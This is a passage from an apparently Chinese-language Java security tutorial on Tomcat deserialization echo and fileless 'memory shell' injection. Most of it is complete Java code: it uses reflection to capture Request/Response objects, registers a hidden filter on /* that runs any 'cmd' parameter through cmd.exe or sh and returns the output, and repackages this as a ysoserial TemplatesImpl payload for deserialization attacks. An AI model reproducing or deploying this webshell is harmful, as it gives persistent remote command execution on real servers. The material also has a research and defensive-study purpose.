2024年Java安全之反序列化回显与内存码

e.printStackTrace();

} catch (NoSuchMethodException e) {

e.printStackTrace();

} catch (InvocationTargetException e) {

e.printStackTrace();

}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

this.doPost(request, response);

}

}

image.png

将命令执行结果使用获取到的Request和Response来输出。

坑点记录#

================================================================

  1. 开始想直接获取内部类发现思路不通,后来采用getDeclaredClasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。

  2. 获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。

  3. 获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。

  4. fanal修饰变量,需做修改,直接获取报错。

通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象

文章链接

0x02 Tomcat半通用回显#

============================================================================

基于Tomcat中一种半通用回显方法该篇文来调试一下。

根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。

顺着思路,在

org.apache.catalina.core.ApplicationFilterChain位置发现符合条件的变量。

image.png

下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为False

image.png

思路如下:

1、反射修改

ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面

2、初始化lastServicedRequest和lastServicedResponse两个变量,默认为null

3、从lastServicedResponse中获取当前请求response,并且回显内容。

自己尝试构造了一下

package com;

import javax.servlet.ServletException;

import javax.servlet.ServletRequest;

import javax.servlet.ServletResponse;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.reflect.Field;

import java.lang.reflect.Modifier;

@WebServlet(“/testServlet”)

public class testServlet extends HttpServlet {

protected void doPost(HttpServletRequest request, HttpServletResponse response) {

try {

Field wrap_same_object = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”).getDeclaredField(“WRAP_SAME_OBJECT”);

Field lastServicedRequest = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedRequest”);

Field lastServicedResponse = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedResponse”);

lastServicedRequest.setAccessible(true);

lastServicedResponse.setAccessible(true);

wrap_same_object.setAccessible(true);

//修改final

Field modifiersField = Field.class.getDeclaredField(“modifiers”);

modifiersField.setAccessible(true);

modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

boolean wrap_same_object1 = wrap_same_object.getBoolean(null);

ThreadLocal requestThreadLocal = (ThreadLocal)lastServicedRequest.get(null);

ThreadLocal responseThreadLocal = (ThreadLocal)lastServicedResponse.get(null);

wrap_same_object.setBoolean(null,true);

lastServicedRequest.set(null,new ThreadLocal<>());

lastServicedResponse.set(null,new ThreadLocal<>());

ServletResponse servletResponse = responseThreadLocal.get();

servletResponse.getWriter().write(“111”);

} catch (Exception e) {

e.printStackTrace();

}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

this.doPost(request, response);

}

}

同理,可集成到yso中,反序列化命令执行结果借助该servletResponse。

image.png

局限#

==============================================================

在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberMe功能的实现是使用了自己实现的filter。

0x03 内存马构造#

======================================================================

前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。

下面再来构造一个完整的。

获取到ApplicationContext调用addFilter方法直接将恶意Filter添加进去发现并不行。

ApplicationContext.addFilter(filterName,new ShellIntInject());

image.png

断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。

Java安全之反序列化回显与内存码

Field state = Class.forName(“org.apache.catalina.util.LifecycleBase”).getDeclaredField(“state”);

state.setAccessible(true);

state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

修改完成后,再来看到addFilter中,

this.context.findFilterDef也就是寻找StandardContext中的filterDef,所以我们需要添加到filterConfigs、filterDefs、filterMaps。

在添加filter前,通过反射设置成

LifecycleState.STARTING_PREP,添加完成后,再把其恢复成LifecycleState.STARTE,需要恢复,否则可能导致服务不可用。

image.png

//添加拦截路径,实现是将存储写入到filterMap中

registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{“/*”});

后面再来看到StandardContext 中filterStart方法会遍历所有filterDefs实例化ApplicationFilterConfig添加到filterConfigs中

this.filterConfigs.clear();

Iterator i$ = this.filterDefs.entrySet().iterator();

while(i$.hasNext()) {

Entry<String, FilterDef> entry = (Entry)i$.next();

String name = (String)entry.getKey();

if (this.getLogger().isDebugEnabled()) {

this.getLogger().debug(" Starting filter ‘" + name + "’");

}

try {

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());

this.filterConfigs.put(name, filterConfig);

} catch (Throwable var8) {

Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);

ExceptionUtils.handleThrowable(t);

this.getLogger().error(sm.getString(“standardContext.filterStart”, new Object[]{name}), t);

ok = false;

}

}

return ok;

}

}

前面我们的调用addfilter方法的时候已经将 对应的filterDef给添加进去,我们只需要调用该方法即可实现filterConfig的添加。

//调用filterStart方法将filterconfig进行添加

Method filterStart = Class.forName(“org.apache.catalina.core.StandardContext”).getMethod(“filterStart”);

filterStart.setAccessible(true);

filterStart.invoke(standardContext,null);

最后,需要将filter位置进行调整。

Java安全之反序列化回显与内存码

image.png

在调试中途,部分代码抛出异常并没有直接执行state.set(standardContext,

org.apache.catalina.LifecycleState.STARTED);会导致tomcat直接503。无法进行正常访问,需重启。

完整代码#

================================================================

package com;

import org.apache.catalina.core.ApplicationContext;

import org.apache.catalina.core.StandardContext;

import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedInputStream;

import java.io.IOException;

import java.io.InputStream;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.lang.reflect.Modifier;

@WebServlet(“/testServlet”)

public class testServlet extends HttpServlet {

private final String cmdParamName = “cmd”;

private final static String filterUrlPattern = “/*”;

private final static String filterName = “cmdFilter”;

protected void doPost(HttpServletRequest request, HttpServletResponse response) {

try {

Field wrap_same_object = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”).getDeclaredField(“WRAP_SAME_OBJECT”);

Field lastServicedRequest = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedRequest”);

Field lastServicedResponse = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedResponse”);

lastServicedRequest.setAccessible(true);

lastServicedResponse.setAccessible(true);

wrap_same_object.setAccessible(true);

//修改final

Field modifiersField = Field.class.getDeclaredField(“modifiers”);

modifiersField.setAccessible(true);

modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

boolean wrap_same_object1 = wrap_same_object.getBoolean(null);

ThreadLocal requestThreadLocal = (ThreadLocal)lastServicedRequest.get(null);

ThreadLocal responseThreadLocal = (ThreadLocal)lastServicedResponse.get(null);

wrap_same_object.setBoolean(null,true);

lastServicedRequest.set(null,new ThreadLocal<>());

lastServicedResponse.set(null,new ThreadLocal<>());

ServletResponse servletResponse = responseThreadLocal.get();

ServletRequest servletRequest = requestThreadLocal.get();

ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade

if (servletContext!=null) {

//编写恶意Filter

class ShellIntInject implements javax.servlet.Filter{

@Override

public void init(FilterConfig filterConfig) throws ServletException {

}

@Override

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

System.out.println(“s”);

String cmd = servletRequest.getParameter(cmdParamName);

if(cmd!=null) {

String[] cmds = null;

if (System.getProperty(“os.name”).toLowerCase().contains(“win”)) {

cmds = new String[]{“cmd.exe”, “/c”, cmd};

} else {

cmds = new String[]{“sh”, “-c”, cmd};

}

java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();

java.util.Scanner s = new java.util.Scanner(in).useDelimiter(“\a”);

String output = s.hasNext() ? s.next() : “”;

java.io.Writer writer = servletResponse.getWriter();

writer.write(output);

writer.flush();

writer.close();

}

filterChain.doFilter(request, response);

}

@Override

public void destroy() {

}

}

//获取ApplicationContext

Field context = servletContext.getClass().getDeclaredField(“context”);

context.setAccessible(true);

ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);

//获取standardContext

Field context1 = ApplicationContext.getClass().getDeclaredField(“context”);

context1.setAccessible(true);

StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);

//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP

Field state = Class.forName(“org.apache.catalina.util.LifecycleBase”).getDeclaredField(“state”);

state.setAccessible(true);

state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//注册filterName

FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());

//添加拦截路径,实现是将存储写入到filterMap中

registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{“/*”});

//调用filterStart方法将filterconfig进行添加

Method filterStart = Class.forName(“org.apache.catalina.core.StandardContext”).getMethod(“filterStart”);

filterStart.setAccessible(true);

filterStart.invoke(standardContext,null);

//移动filter为位置到前面

FilterMap[] filterMaps = standardContext.findFilterMaps();

for (int i = 0; i < filterMaps.length; i++) {

if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {

org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];

filterMaps[i] = filterMaps[0];

filterMaps[0] = filterMap;

break;

}

}

servletResponse.getWriter().write(“Success”);

state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);

}

} catch (Exception e) {

e.printStackTrace();

}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

this.doPost(request, response);

}

}

但这并未完,虽然我们借助了代码执行获取到Request和Response后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。

0x04 改造yso#

======================================================================

将前面代码扣下来,并且继承AbstractTranslet,后面需要使用TemplatesImpl类去动态加载该类。

package ysoserial.exploit;

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import org.apache.catalina.core.ApplicationContext;

import org.apache.catalina.core.StandardContext;

import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;

import java.io.IOException;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.lang.reflect.Modifier;

public class TomcatShellIntInject extends AbstractTranslet {

private final static String cmdParamName = “cmd”;

private final static String filterUrlPattern = “/*”;

private final static String filterName = “cmdFilter”;

static {

try {

Field wrap_same_object = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”).getDeclaredField(“WRAP_SAME_OBJECT”);

Field lastServicedRequest = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedRequest”);

Field lastServicedResponse = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedResponse”);

lastServicedRequest.setAccessible(true);

lastServicedResponse.setAccessible(true);

wrap_same_object.setAccessible(true);

//修改final

Field modifiersField = Field.class.getDeclaredField(“modifiers”);

modifiersField.setAccessible(true);

modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);

modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

boolean wrap_same_object1 = wrap_same_object.getBoolean(null);

ThreadLocal requestThreadLocal = (ThreadLocal) lastServicedRequest.get(null);

ThreadLocal responseThreadLocal = (ThreadLocal) lastServicedResponse.get(null);

wrap_same_object.setBoolean(null, true);

lastServicedRequest.set(null, new ThreadLocal());

lastServicedResponse.set(null, new ThreadLocal());

ServletResponse servletResponse = responseThreadLocal.get();

ServletRequest servletRequest = requestThreadLocal.get();

ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade

if (servletContext != null) {

//编写恶意Filter

class ShellIntInject implements Filter {

@Override

public void init(FilterConfig filterConfig) throws ServletException {

}

@Override

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

String cmd = servletRequest.getParameter(cmdParamName);

if (cmd != null) {

String[] cmds = null;

if (System.getProperty(“os.name”).toLowerCase().contains(“win”)) {

cmds = new String[]{“cmd.exe”, “/c”, cmd};

} else {

cmds = new String[]{“sh”, “-c”, cmd};

}

java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();

java.util.Scanner s = new java.util.Scanner(in).useDelimiter(“\a”);

String output = s.hasNext() ? s.next() : “”;

java.io.Writer writer = servletResponse.getWriter();

writer.write(output);

writer.flush();

writer.close();

}

filterChain.doFilter(servletRequest, servletResponse);

}

@Override

public void destroy() {

}

}

//获取ApplicationContext

Field context = servletContext.getClass().getDeclaredField(“context”);

context.setAccessible(true);

ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);

//获取standardContext

Field context1 = ApplicationContext.getClass().getDeclaredField(“context”);

context1.setAccessible(true);

StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);

//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP

Field state = Class.forName(“org.apache.catalina.util.LifecycleBase”).getDeclaredField(“state”);

state.setAccessible(true);

state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

//注册filterName

FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());

//添加拦截路径,实现是将存储写入到filterMap中

registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});

//调用filterStart方法将filterconfig进行添加

Method filterStart = Class.forName(“org.apache.catalina.core.StandardContext”).getMethod(“filterStart”);

filterStart.setAccessible(true);

filterStart.invoke(standardContext, null);

//移动filter为位置到前面

FilterMap[] filterMaps = standardContext.findFilterMaps();

for (int i = 0; i < filterMaps.length; i++) {

if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {

org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];

filterMaps[i] = filterMaps[0];

filterMaps[0] = filterMap;

break;

}

}

servletResponse.getWriter().write(“Success”);

state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

}

} catch (Exception e) {

e.printStackTrace();

}

}

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

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